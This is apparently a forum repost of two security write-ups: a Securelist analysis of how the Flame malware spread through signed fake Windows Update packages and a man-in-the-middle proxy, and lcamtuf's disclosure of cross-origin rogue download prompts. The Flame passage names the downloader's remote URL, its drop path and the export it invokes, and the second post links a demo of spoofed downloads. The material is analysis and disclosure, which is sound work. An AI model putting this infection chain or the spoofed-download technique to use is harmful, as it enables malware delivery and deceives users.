[/TR] [/TABLE] Since the CAB files have valid signatures (revoked by Microsoft at the moment), the Windows Update service receives and processes them as valid updates. They are downloaded and installed, effectively executing the malicious payload. The main payload module within these CAB files is a downloader component called “Wusetup.ocx” or “WuSetupV.exe”. It collects general information about the computer, including time zone information, and tries to download “http://MSHOME-F3BE293C/view.php”, with host information appended to the request URI. Since the name “MSHOME-F3BE293C” is handled by the SNACK module, the URL points to the running MUNCH server that serves the main Flame module “mssecmgr.ocx” on this URI. WuSetupV downloads the file, saves it to “%windir%\Temp\~ZFF042.tmp” on the target machine, loads it as a DLL and invokes its export “DDEnumCallback”, which is Flame’s installation routine. The new machine then becomes infected. Better than zero-day When we first discovered Flame, we started looking in its code for at least one exploit that used a zero-day vulnerability to spread Flame and infect other machines inside the network. Given its sophistication and the fact that it infected fully patched Windows 7 machines, there should have been one. What we’ve found now is better than any zero-day exploit. It actually looks more like a “god mode” cheat code – valid code signed by a keychain originating from Microsoft. The signature was discovered and immediately revoked by Microsoft, and a security advisory with update KB2718704 was promptly published. Sursa: Flame: Replication via Windows Update MITM proxy server - Securelist

[h=3]Yes, you can have fun with downloads[/h] [h=2]May 30, 2012[/h] It is an important and little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs; in more limited circumstances, even individual frames can be targeted. I discuss the consequences of this behavior in The Tangled Web - and several months ago, I shared this amusing proof-of-concept illustrating the perils of this logic: Beaver Peak Banking and BBQ Today, I wanted to showcase a more sneaky consequence of this design - and depending on who you ask, one that is possibly easier to prevent. What's the issue, then? Well, it's pretty funny: predictably but not very intuitively, the attacker may initiate such cross-domain navigation not only to point the targeted window to a well-formed HTML document - but also to a resource served with the Content-Disposition: attachment header. In this scenario, the address bar of the targeted window will not be updated at all - but a rogue download prompt will appear on the screen, attached to the targeted document. Here's an example of how this looks in Chrome; the fake flash11_updater.exe download supposedly served from adobe.com is, in reality, supplied by the attacker: All the top three browsers are currently vulnerable to this attack; some provide weak cues about the origin of the download, but in all cases, the prompt is attached to the wrong window - and the indicators seem completely inadequate. You can check out the demo here: http://lcamtuf.coredump.cx/fldl/ The problem also poses an interesting challenge to sites that frame gadgets, games, or advertisements from third-party sources; even HTML5 sandboxed frames permit the initiation of rogue downloads (oops!). Vendor responses, for the sake of posterity: Chrome: reported March 30 (bug 121259). Fix planned, but no specific date set. Internet Explorer: reported April 1 (case 12372gd). The vendor will not address the issue with a security patch for any current version of MSIE. Firefox: reported March 30 (bug 741050). No commitment to fix at this point. I think these responses are fine, given the sorry state of browser UI security in general; although in good conscience, I can't dismiss the problem as completely insignificant. Sursa: lcamtuf's blog: Yes, you can have fun with downloads